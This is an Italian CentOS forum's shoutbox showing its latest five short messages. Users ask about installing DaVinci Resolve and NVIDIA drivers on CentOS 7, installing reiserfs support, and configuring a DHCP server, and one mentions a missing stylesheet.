
-no content-

ShoutBox!

Ultimo 5 Shout:

fzphoto

19 Febbraio 2018, 09:18:24
Ciao a tutti. Ho installato l'ultima versione di centos 7 per poter lavorare comodamente con DaVinci resolve 14. Solo che non riesco, ne a installare il programma Davinci, ne tanto meno, il driver nvidia per la scheda grafica geoforce 1080 ti. Sul web non trovo niente che mi aiuti. Premetto che sono

aner64

07 Febbraio 2018, 11:21:40
Buongiorno. Ho installato l'ultima versione di CENTOS7 aggiornata alla 7.0.4.1708. Ho bisogno di fare un restore di file da un filesystem reiserfs. CENTOS7 non ha reiserfs tra i FS e bisogna installarlo. Quando di cerca di installare kmod-reiserfs-0.0-2.el7.elrepo.x86_64.rpm escono errori per mancan
 

LonelyWolf

28 Dicembre 2017, 08:37:34
da ieri non vedo pi il css solo un problema mio?

trattore

28 Settembre 2015, 03:30:48
ma qui non c' mai nessuno
 ;)

ivo

26 Agosto 2015, 16:01:14
Ho configurato il DHCP creato il file /etc/dhcpd.conf con il seguente contenuto
-------------------------------------------------------------------------------
ddns-update-style interim;
ignore client-updates;

authoritative;

subnet 172.16.208.96 netmask 255.255.255.240 {
    option routers      

Mostra ultimi 50